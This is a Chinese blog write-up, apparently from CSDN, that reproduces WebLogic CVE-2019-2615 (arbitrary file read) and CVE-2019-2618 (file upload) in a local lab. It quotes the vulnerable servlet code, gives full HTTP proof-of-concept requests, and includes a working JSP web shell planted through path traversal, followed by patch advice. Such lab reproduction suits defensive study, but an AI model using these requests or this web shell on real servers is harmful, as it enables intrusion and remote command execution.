weblogic 文件打开数_Weblogic任意文件读取和任意文件上传

引言

weblogic中两个CVE漏洞比较有意思,所以复现一下,该两个漏洞需要在poc中加入用户名和密码(cookie)才能实现。

2dc6c6326df26c568cf1554556a845ec.png

环境搭建

环境搭建: 首先安装weblogic 下载地址 http://www.oracle.com/technetwork/cn/middleware/weblogic/downloads/wls-main-091116-zhs.html

4c5cebf03aeedc980864f2fd4f82cc57.png

安装目录没特别需求可以不更改,一路下一步。

faff02173d3928cda9f265a45136fdfe.png

把复选框去掉:

ee8c242756b05b9640fa51180e3989f9.png

全选:

433575698404160f4f9e8df8c5da98c4.png

(已安装的图片)

d09a0e012a71bee93cb7512df05c9df6.png

(安装包捆绑在jdk1.6,上一步安装完成) 可以默认:

fab416d4b61e768e187fa067e4136f46.png

正在安装:

c28b95ec3fb372311731456106599b55.png

安装完成。

cab78398e8a2f7786557965848b141c8.png

打开Oracle然后选择Getting startedwith WebLogic Server:

e44edc310953be9e4a53fab4ab109206.png

配置weblogic界面:

1c25285122eae4787439a25fdfb37318.png

域源全选:

5da602c1d0bc3d52301d3c42326c5a1c.png

一直默认直到设置密码选项:

7479a6ed16179b26a53ef7178849890c.png

选择开发模式。

c08814869a13bee4c0d6edd07040b106.png

全选。

39a1c3720bc8880efafdb4a9462e35d5.png

剩下的默认就行 安装完毕。 在安装目录下找到启动程序。

4d0315b345f4ddf4477936dfe5e269cc.png

startWeblogic.cmd 启动成功后,试试能否访问weblogic控制台。 Url:http://192.168.219.131:7001/console/login/LoginForm.jsp

7762ca168c9cfcf75aa7dbdd4a7bc7a5.png

CVE-2019-2615任意文件读取

漏洞分析 该功能的关键代码在weblogic.management.servlet.FileDistributionServlet的 doGet()方法中:

public void doGet(final HttpServletRequest var1, final HttpServletResponsevar2) throws ServletException, IOException {

AuthenticatedSubject var3 = this.authenticateRequest(var1, var2);

if(var3 != null) {

final String var4 =var1.getHeader("wl_request_type");

if(var3 != KERNEL_ID) {

AdminResource var5 = newAdminResource("FileDownload", (String)null, var4);

if(!this.am.isAccessAllowed(var3, var5,(ContextHandler)null)) {

ManagementLogger.logErrorFDSUnauthorizedDownloadAttempt(var3.getName(), var4);

var2.sendError(401);

return;

}

}

try {

if(debugLogger.isDebugEnabled()) {

debugLogger.debug("---->doGet incoming request: " + var4);

}

if(var4.equals("wl_xml_entity_request")) {

this.doGetXMLEntityRequest(var1, var2);

} elseif(var4.equals("wl_jsp_refresh_request")) {

this.doGetJspRefreshRequest(var1, var2);

} else if(var4.equals("file")) {

this.doGetFile(var1, var2);

} elseif(!var4.equals("wl_init_replica_request") &&!var4.equals("wl_file_realm_request") &&!var4.equals("wl_managed_server_independence_request")) {

var2.addHeader("ErrorMsg", "Bad request type");

String var10 =Utils.encodeXSS(var4);

var2.sendError(400, "Bad requesttype: " + var10);

ManagementLogger.logBadRequestInFileDistributionServlet(var4);

} else {

......

......

}

}

} catch (Exception var9) {

if(!Kernel.isInitialized()) {

throw newAssertionError("kernel not initialized");

}

ManagementLogger.logErrorInFileDistributionServlet(var4, var9);

}

}

}

选取request中header的参数"wlrequesttype" 的值,然后判断如果该值等于“wlxmlentityrequest”、“wljsprefreshrequest”、 “file”…则分别调用各自的方法,进入下一步判断。如果wlrequesttype的值为“wljsprefresh_request” ,进入doGetJspRefreshRequest()方法:

private void doGetJspRefreshRequest(HttpServletRequest var1,HttpServletResponse var2) throws IOException {

String var3 = var1.getHeader("adminPath");

try {

FileInputStream var4 = new FileInputStream(var3);

try {

var2.setContentType("text/plain");

var2.setStatus(200);

this.returnInputStream(var4,var2.getOutputStream());

} finally {

var4.close();

}

} catch (IOException var10) {

String var5 = "I/O Exception getting resource:" + var10.getMessage();

var2.addHeader("ErrorMsg", var5);

var2.sendError(500, var5);

}

}

doGetJspRefreshRequest()方法中的“adminPath”也是request 中的header参数,在Post包中传入要读取的文件。进入该方法中,直接使用FileInputStream 类进行文件读取,故造成了所谓的“任意文件读取”漏洞。

漏洞复现 访问URL:http://192.168.219.131:7001/beawlsmanagementinternal2/wlmanagement 采用BurpSuite抓包:

2feefdc5ee58cd7cf81a45b5fee358bd.png

将POC加入包中:

3b69aa3f7c1787aabb86814cf1ac68e2.png

POC为:

GET /bea_wls_management_internal2/wl_management HTTP/1.1

Host: 192.168.219.131:7001

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36(KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3

Accept-Encoding: gzip, deflate

Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6

Connection: close

username:weblogic

password:12345678

wl_request_type:wl_jsp_refresh_request

adminPath:C:python27123.txt

Upgrade-Insecure-Requests: 1

发送该包发现:

686e1165879be63a2ec398901f714ec0.png

检查原机的文件发现:

911c1d559817e709602e5ec730dc5b34.png

修复建议 升级补丁。Oracle官方更新链接地址:https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html 。 或者直接删除了requestType的“wljsprefresh_request” 参数的判断,同时也删除了doGetJspRefreshRequest()方法。

CVE-2019-2618文件上传漏洞

漏洞分析 DeploymentServiceServlet类的handlePlanOrApplicationUpload()方法:

private final void handlePlanOrApplicationUpload(HttpServletRequest var1,HttpServletResponse var2, AuthenticatedSubject var3) throws IOException {

String var4 =mimeDecode(var1.getHeader("wl_upload_application_name"));

String var5 = ApplicationVersionUtils.getApplicationName(var4);

String var6 = ApplicationVersionUtils.getVersionId(var4);

String var7 = mimeDecode(var1.getHeader("wl_request_type"));

if(var5 == null) {

Loggable var24 =DeploymentServiceLogger.logRequestWithNoAppNameLoggable(var7);

logAndSendError(var2, 403, var24);

} else {

String var8 = var1.getContentType();

if(var8 != null &&var8.startsWith("multipart")) {

boolean var25 = false;

String var10 =var1.getHeader("wl_upload_delta");

if(var10 != null && var10.equalsIgnoreCase("true")){

var25 = true;

}

boolean var11 =var7.equals("plan_upload");

boolean var12 ="false".equals(var1.getHeader("archive"));

if(this.isDebugEnabled()) {

this.debug(var7 + "request for application " + var5 + " with archive: " + var12);

}

String var13 = null;

if(var6 == null || var6.length() == 0) {

var13 =this.getUploadDirName(var5, var6, var25, var11, var12);

}

if(var13 == null) {

var13 =this.getDefaultUploadDirName();

if(var13 == null) {

Loggable var26 =DeploymentServiceLogger.logNoUploadDirectoryLoggable(var7, var5);

logAndSendError(var2, 500, var26);

return;

}

var13 = var13 + var5 +File.separator;

if(var6 != null) {

var13 = var13 +var6 + File.separator;

}

}

if(this.isDebugEnabled()) {

this.debug(" +++ FinaluploadingDirName : " + var13);

}

boolean var14 = true;

String var15 = null;

......

......

} else {

Loggable var9 = DeploymentServiceLogger.logBadContentTypeServletRequestLoggable(var7,var8);

logAndSendError(var2, 400, var9);

}

}

}

该方法主要是对POST包中的传入的headers进行处理,主要作用包括:获取请求包中的“wluploadapplication_name” 参数,然后判断是否为空;判断“content-type”;构造上传路径等。

漏洞复现 访问漏洞URL: http://192.168.219.131:7001/beawlsdeploymentinternal/DeploymentService 并使用BurpSuite抓包。![15644692145d3fe7de0f48a.png](https://image.3001.net/images/20190730/15644692145d3fe7de0f48a.png)将发包方式改成POST方式写入POC:![15644692215d3fe7e5e25b8.png](https://image.3001.net/images/20190730/1564469221_5d3fe7e5e25b8.png)POC为:

POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1

Host: 192.168.219.131:7001

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

username: weblogic

wl_request_type: app_upload

cache-control: no-cache

wl_upload_application_name: /../tmp/_WL_internal/bea_wls_internal/9j4dqk/war

serverName: weblogic

password: 12345678

Content-Type: multipart/form-data; boundary=--------

archive: true

server_version: 10.3.6.0

wl_upload_delta: true

Content-Length: 1044

Content-Disposition: form-data; name="shell.jsp";filename="shell.jsp"

Content-Type: false

%>

Commands with JSP

if (request.getParameter("cmd") != null) {

out.println("Command: " +request.getParameter("cmd") + "
");

Process p;

if (System.getProperty("os.name").toLowerCase().indexOf("windows")!= -1){

p = Runtime.getRuntime().exec("cmd.exe /C " +request.getParameter("cmd"));

}

else{

p = Runtime.getRuntime().exec(request.getParameter("cmd"));

}

OutputStream os = p.getOutputStream();

InputStream in = p.getInputStream();

DataInputStream dis = new DataInputStream(in);

String disr = dis.readLine();

while ( disr != null ) {

out.println(disr);

disr = dis.readLine();

}

}

%>

发送数据包发现浏览器出现下图:

f27041316d8911231fdff5b60aaddf1f.png

访问URL:http://192.168.219.131:7001/beawlsinternal/shell.jsp?cmd=ipconfig

漏洞复现完成。

730d2f2aadcf12c0b5964c67e01d8501.png

修复方案 Oracle官方已经在关键补丁更新(CPU)中修复了该漏洞。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值